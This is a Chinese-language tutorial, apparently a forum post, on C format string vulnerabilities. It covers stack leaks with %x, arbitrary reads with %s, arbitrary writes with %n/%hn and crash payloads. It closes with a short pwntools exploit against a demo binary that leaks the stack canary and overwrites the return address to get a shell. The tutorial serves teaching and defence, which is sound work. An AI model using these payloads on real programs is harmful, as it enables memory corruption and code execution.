格式化字符串一文入门到实战
入门普及: 简单介绍一下,这是一种利用格式字符串功能来实现信息泄漏,代码执行和实现DoS攻击的漏洞。随着平台SRC的诞生,还有安全人员越来越多,如今这些漏洞已变得罕见,当使用非恒定字符串调用格式函数时,大多数现代编译器都会生成警告,而这是此漏洞的根本原因。尽管如此,这个问题仍然值得理解学习。
那么具体什么是格式字符串? 格式字符串是包含格式说明符的字符串。它们被用于C语言和许多其他编程语言的格式函数中。例如,以下代码示例显示了C中printf()的工作方式。根据变量名中包含的内容,该语句将输出不同的句子。
printf(“Hello, my name is %s.”, name);
如果变量名称包含字符串“ 连云小李”,则printf()语句将输出:
Hello, my name is 连云小李.
注:这里特意用汉字,因为有的编译器汉字显示编码有问题,需要特别注意修改类似Unicode和utf-8
接着是格式化函数和参数
除了printf() 以外,还有许多格式函数,它们使用格式字符串来产生输出。例如在C语言中,有printf(),fprintf(),sprintf(),snprintf(),printf_s(),fprintf_s(),sprintf_s(),snprintf_s()等。
而除了上面代码使用的%s外,还有许多不同的格式说明符。不同的格式说明符指示应将其替换为哪种数据类型:简单举几个例子
%d用于带符号的十进制整数,
%u代表十进制的无符号整数,
%x是十六进制的无符号整数,
%s表示数据指向字符串的指针。
根据格式说明符规定的数据格式,格式函数检索从堆栈中请求的数据。
printf(“A is the number %d, B is the string %s”, A, &B);
上面的printf() 函数将尝试从堆栈中检索A的值和字符串B的地址。
那到底怎么利用格式函数呢? 当攻击者可以直接控制输入给函数的格式字符串时,就可以利用格式函数:看下面的示例,是不是很清晰?
printf(“If the attacker can control me, you’re in trouble.”, A, B);
当字符串中的格式说明符数量与用于填充这些位置的函数参数(如上面的A和B)数量不匹配时,将发生此漏洞。如果攻击者提供的占位符超过了参数个数,则可以使用格式函数来读取或写入堆栈。
这里还需要补充一点关于堆栈的说明:
堆栈涉及到数据结构的知识,不在本文的讨论范围内,这里便仅作简单叙述。
现在只需要记住,局部变量和函数参数存储在堆栈中。这意味着,当声明局部变量或函数参数时,它将被压入堆栈。而当调用函数时,该函数也会从堆栈中获取数据。
我们正式开始使用格式函数尝试泄漏程序信息:
当攻击者提供的格式说明符多于函数参数来填充其位置时,想象一下会发生什么情况?当有两个格式说明符,但只有一个函数参数提供值时,printf() 会做什么?
printf(“A is the number %d, reading stack data: %x”, A);
printf() 仍将尝试从堆栈中检索两个值。但是由于堆栈上只有一个实际的函数参数(A)占据了这些位置,因此另一个值将被堆栈上下一个值替换。在这种情况下,printf() 将检索堆栈中的下一个值,并以十六进制格式显示它。
因此,攻击者只需提供以下字符串即可读取堆栈上的大量数据:
printf(“%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x”);
看起来乱七八糟的,可能有点像WEB渗透中的SQL攻击的效果,这句代码将在堆栈上打印接下来的20个数据
攻击者甚至可以通过使用特殊情况格式说明符直接访问堆栈上的第i个参数:
printf("%10$x");
这句代码将在堆栈上打印第十个元素
很明显,这将导致堆栈数据泄漏:包括返回地址,局部变量和其他函数的参数。
那再升级一下,如何在内存中的任何位置读取数据呢?
当%s用作格式说明符时,该函数会将堆栈上的数据视为要从中获取字符串的地址。这称为引用传递。这意味着即使数据不在堆栈中,攻击者也有可能使用%s从任何地址读取。
但是,具体又如何控制%s访问的地址?攻击者需要在堆栈上放置一个地址,并使%s取消引用该地址!
更简便一点的情况下,格式字符串将会完全由攻击者控制存储在堆栈中!因此,如果攻击者可以将地址植入格式字符串中并让%s取消引用,则甚至可以访问堆栈之外的数据。
printf(“\xef\xbe\xad\xde%x%x%x%s”, A, B, C);
例如,上面的代码将导致printf() 打印位于地址0xdeadbeef的字符串。%x系列用于将堆栈遍历到格式字符串的位置,所需的%x数量会因情况而异。%s告诉printf() 处理的前四个字节的格式字符串作为指针指向打印的字符串。
因为堆栈向下增长,并将函数参数逐一压入堆栈。然后,printf() 返回堆栈以检索参数值。
通过提供额外的%s,攻击者强制printf() 从堆栈中访问另一个值,并将其视为指向字符串的4字节指针。
因此printf() 打印出位于0xdeadbeef的字符串,该字符串是由格式字符串的前四个字节指定的地址。
继续讲述在任何位置覆盖内存:
在printf() 中,%n是一种特殊情况的格式说明符。%n不会被函数参数替换,而是将到目前为止写入的字符数存储到相应的函数参数中。
例如,以下代码将整数5存储到变量num_char中
int num_char;
printf(“11111%n”, &num_char);
有了伪输出字符和宽度控制格式说明符,攻击者现在可以将任意整数写入函数参数所指向的位置。
下面是一个宽度控制格式说明符的示例,该说明符将帮助攻击者避免使用非常长的漏洞利用字符串,并允许攻击者访问任意位置,即使缓冲区不足以容纳所需的填充字符数也是如此。
int num_char;
printf(“%10d%n”, 0, &num_char);
代码将显示 " 0",num_char为10
而且,通过使用长度修饰符,攻击者可以通过精确度来控制写入的数据量。例如,%n会将4个字节写入目标地址,而%hn只会写入2个字节。
printf(“%10d%n”, 0, &num_char);
将4个字节写入&num_char
printf(“%10d%hn”, 0, &num_char);
将2个字节写入&num_char
使用这些攻击艺术,攻击者可以写入任意内存位置。这可以使攻击者覆盖返回地址,函数指针,全局偏移量表(GOT)和析构函数表(DTORS),从而劫持程序流并执行任意代码。
不仅如此,攻击者甚至可以使用格式函数导致程序崩溃
由于%s的函数参数是通过引用传递的,因此对于格式字符串中的每个%s,该函数将从堆栈中检索一个值,将该值视为地址,然后打印出存储在该地址的字符串。
但是堆栈上的值并不总是一个地址。它们可以是整数,字符或任何其他类型的数据。这意味着如果攻击者强制该函数将堆栈数据解释为一个地址,则该程序可能会遇到无效的地址并崩溃。
注:这可能是一个不存在的地址,或者位于受保护的地址空间,如内核空间中。
该漏洞利用字符串如下所示:
printf (“%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s”);
格式字符串中的%s越多,遇到无效地址的几率就越高。
我们再讲讲防止格式字符串攻击:
尽管现在针对二进制漏洞利用的对策(例如地址随机化)有助于使利用格式字符串漏洞变得更加困难,但防止此类漏洞发生的可靠方法是正确实现格式函数,从代码源头防御。
使用格式函数时,重要的是避免直接将用户输入用作格式字符串。而是将用户输入作为替换格式说明符的函数参数传递。
简而言之,用户输入应放在此处:
printf(“string: %s”, USER_INPUT);
而不是这里:
printf(USER_INPUT, A, B);
作为一种额外的更保险的安全措施,还应该始终对用户输入进行清理并检测清除危险字符。
案例提升: 原理讲完了,我们来“搞一波事情”:
假设当我们拿到了对方一个二进制文件demo,并开启了canary保护,我们开始分析该文件,并绕过该保护。
当对方开启canary保护时,系统会在函数开始前先想栈中插入一个cookie,当函数结束,栈帧销毁前会检测栈中cookie值是否被改变。
为了更好理解,我们通过观察x86架构的局部栈帧结构来理解canary保护。
当开启canary后,在函数的开头部分会取fs/gs寄存器0x28/0x14处的值存放在$ebp-0x8的位置,这便是插入cookie值。
而在函数结束后,会进行异或比较判断cookie值是否发生改变。具体实现命令如下:
//插入cookie的值
movrax, qword ptr fs :
movqword ptr, rax
//xor比较cookie值是否改变
movrdx, QWORD PTR
xor rdx, QWORD PTR fs : 0x28
je 0x4005d7 < main + 65 >
call0x400460 < __stack_chk_fail@plt >
如下图,为某函数开始前插入cookie时的操作,
首先在p/x $eax 序言部分查看canary的值,这个canary值会随着每次程序运行进行动态改变。
那么如何绕过该保护呢? 我们利用前置知识提到过的字符串格式化漏洞,可以输出canary并利用溢出覆盖canary从而达到绕过。
首先先编译一下给出的demo
上文我们已经了解到Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
gdb canary.exe 进行程序调试,输入r进行运行程序,接着输入S将会进入vuln函数。
disass vuln函数的反汇编,观察程序执行前后的操作。具体反汇编如下图:
分析下上图,在函数序言部分插入canary值:
0x080485fc <+6>: moveax,gs:0x14
0x08048602 <+12>:movDWORD PTR ,eax
函数返回前,vuln函数返回前检测是否栈溢出
0x08048640 <+74>:moveax,DWORD PTR
0x08048643 <+77>:xoreax,DWORD PTR gs:0x14
0x0804864a <+84>:je 0x8048651 <vuln+91>
0x0804864c <+86>:call0x8048450 <__stack_chk_fail@plt>
目前我们绕过思路如下:
1.首先借用第一个read和printtf泄露出Canary的值
2.利用第二个read进行覆盖:padding——canary——函数返回值。
payload = "%15$08x"
#P1:接受回显,并取出canary的值
p.sendline(payload)
ret = p.recv()
#去掉换行符
canary = ret[:8]
print "canary is"+canary
#P2:利用第二个read进行ROP
offset_canary = 0xffffd64c - 0xffffd62c
payload = 'a' * offset_canary #将栈覆盖到canary之前
payload += (canary.decode("hex"))[::-1] #写入canary
payload += 'b' * (2*4+4) #padding空+ebp
payload += p32(shell_addr) #用后门函数覆盖ret
p.sendline(payload)
p.interactive()
运行一下,成功执行了exploit函数,从而getshell。
知识总结:
最后总结一下:
一般攻击者在进行栈溢出攻击时,是通过覆盖函数结束时ret的返回值所需的eip来进行程序的控制,而cookie值在ret返回地址return address的栈空间上面,因此当攻击者覆盖了return address时同时也会覆盖掉cookie值,这样在函数结束会检测出cookie值发生了改变,导致检测失败,程序中断,避免了程序被攻击者利用。这个cookie值即是canary value。
如果使用不当,看似无害的格式函数可能会成为漏洞的主要来源。除C之外,许多其他编程语言都有其自己的格式函数,在使用它们输出数据之前,建议检查这些函数用法,并特别注意可能的安全隐患,避免漏洞发生。
通知!
页:
[1]